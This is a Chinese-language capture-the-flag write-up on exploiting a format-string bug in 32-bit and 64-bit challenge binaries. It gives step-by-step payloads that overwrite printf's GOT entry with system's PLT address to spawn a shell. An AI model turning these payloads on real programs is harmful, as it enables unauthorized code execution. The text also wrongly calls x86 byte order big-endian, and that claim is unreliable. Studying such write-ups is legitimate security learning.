Format_x86和format_x64

★32位程序:

1.常规checksec,只开了NX。打开IDA查漏洞,main函数中格式化字符串漏洞:

1
2
3
4
5
#注释头

memset(&buf, 0, 0x12Cu);
read(0, &buf, 0x12Bu);
printf(&buf);

2.这里会有一个重复读取的循环,开shell需要system函数和binsh字符串,这里只有system函数,got和plt都对应有,没有binsh字符串,没有libc。

3.由于printf漏洞,我们可以利用这个漏洞向指定的内存地址写入指定的内容,这里考虑将printf的got中的值更改system函数plt表项的值。原本如果调用printf函数,则相当于执行printf函数的got表中保存的printf函数的真实地址处的代码,更改之后相当于执行system函数plt表地址处的代码,也就相当于调用system函数。原理如下:

原本执行Printf函数:相当于执行printf的执行代码

1
2
3
4
#注释头

printf_got_addr: 7Fxxxxxx
7Fxxxxxx: printf的执行代码

更改之后:相当于执行jmp system_got代码,那就相当于执行system函数了

1
2
3
4
#注释头

printf_got_addr: 08048320(system_plt)
08048320(system_plt): jmp system_got

4.那么预想程序总流程如下:第一次读取,输入payload,然后printf执行,将printf的got表更改为system函数plt表。通过while循环,第二次读取,输入binsh字符存入buf中,此时printf(&buf),相当于system(&buf),那就相当于system(binsh),即可直接getshell。

5.编写payload,首先需要计算一下偏移地址,将断点下在call printf上,通过调试能够查看到printf写入栈中的地址距离esp的偏移量为6,所以使用控制字符%n来将printf劫持到system,这里偏移就会成n-1为5。偏移代表的是取参数的时候的偏移量,下面的payload对应的5,6,7,8就对应向地址print_got,print_got+1,print_got+2,print_got+3写入内容。由于是修改地址,所以用%hhn来逐个修改,防止向服务器发送过大数据从而出错。

(1)找到got表和plt表项的值

1
2
3
4
#注释头

printf_got = 0x08049778
system_plt = 0x08048320

(2)32位程序,4个字节一个地址,所以需要四个地址:

1
2
3
4
5
6
#注释头

payload = p32(printf_got)
payload += p32(printf_got+1)
payload += p32(printf_got+2)
payload += p32(printf_got+3)

(3)由于是大端序,低地址保存的是高地址的内容,print_got需要保存的应该是system_plt的最后一个字节,也就是0x20。

①由于前面已经输入了p32(printf_got)+p32(printf_got1)+p32(printf_got2)+p32(printf_got3),这些在没有遇到%之前一定会被打印出来,共计16个字节,而我们需要让它总共打印出0x20个字节,所以我们再打印(0x20-16)个字节。

②同样,由于前面已经打印了0x20个字节,我们总共需要打印0x83个字节,所以应该再让程序打印%(0x83-0x20)个字节,之后道理相同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#注释头


payload += "%"
payload += str(0x20-16)
payload += "c%5$hhn"
#写入0x20到地址print_got

payload += "%"
payload += str(0x83-0x20)
payload += "c%6$hhn"
#写入0x83到地址print_got+1

payload += "%"
payload += str(0x104-0x83)
payload += "c%7$hhn"
#写入0x04到地址print_got+2,0x104被截断为04

payload += "%"
payload += str(0x108-0x104)
payload += "c%8$hhn"
#写入0x08到地址print_got+3,0x108被截断为08

▲为了便于理解,下面代码也行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#注释头

payload = p32(printf_got+1)
#使用hhn写入,分别对应待写入的第3,4,2,1字节
payload += p32(printf_got)
payload += p32(printf_got+2)
payload += p32(printf_got+3)

payload += "%"
payload += str(0x83-16) #被写入的数据,注意四个地址长度是16,需要减掉
payload += "c%5$hhn"

payload += "%"
payload += str(0x120-0x83)
payload += "c%6$hhn"

payload += "%"
payload += str(0x204-0x120) #由于是hhn所以会被截断,只留后两位
payload += "c%7$hhn"

payload += "%"
payload += str(0x208-0x204)
payload += "c%8$hhn"

6.其实可以直接使用类Fmtstr,效果一样,将Payload替换成下列代码即可

payload = fmtstr_payload(5, {printf_got:system_plt})

7.之后再io.sendline(‘/bin/sh\x00’),即可getshell

★64位程序

1.由于64位,传参的顺序为rdi, rsi, rdx, rcx, r8, r9,接下来才是栈,所以偏移量应该是6指向栈顶。之后考虑使用fmtstr来直接构造获取:

payload = fmtstr_payload(6, {printf_got:system_plt})

但是这个方法会出错,因为在这种情况下,我们的地址如下

1
2
3
4
#注释头

printf_got = 0x00601020
system_plt = 0x00400460

需要写入地址printf_got的首两位是00,且以p64形式发送,所以先发送的是0x20,0x10,0x60,0x00,0x00…….而Read函数读到0x00就会截断,默认这是字符串结束了,所以之后的都无效了。

2.那么考虑手动方式,将p64(printf_got)放在payload的末尾,这样就只有最后才会读到0x00,其它的有效数据都能读入。

3.使用手动方式就需要再次计算偏移量,我们的payload构成应该是

payload = ”%”+str(system_plt)+”c%8$lln” + p64(printf_got)

这里偏移量为8是因为经过调试发现我们的输入从栈顶开始计算,也就是从栈顶开始,一共输入了

1(%) + 7(0x400460转换成十进制为4195424,也就是7个字节) + 7(“c%8$lln”) + 8(p64_printf_got)=23个字节。

经过计算我们发现,p64前面的字节数为15个字节,不足8的倍数,这样会导致printf_got的最后一个字节20被截断至偏移量为7的位置,从而使得偏移量为8的位置只有6010,导致出错。所以我们需要填充一个字节进去,让它不会被截断。

img

1
2
3
#注释头

payload = ”a%” + str(system_plt-1)+”c%8$lln” + p64(printf_got)

加入一个字节a就可以使得在参数偏移量为6和7的位置中不会截断0x601020。同时加入字节a就要使system_plt-1来满足最终打印的字符个数为0x00400460,从而才能成功将0x00400460(system_plt)写入到0x00601020(printf_got)

5.完成payload之后,再次循环进入,输入io.sendline(‘/bin/sh\x00’)后interactive()即可getshell

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157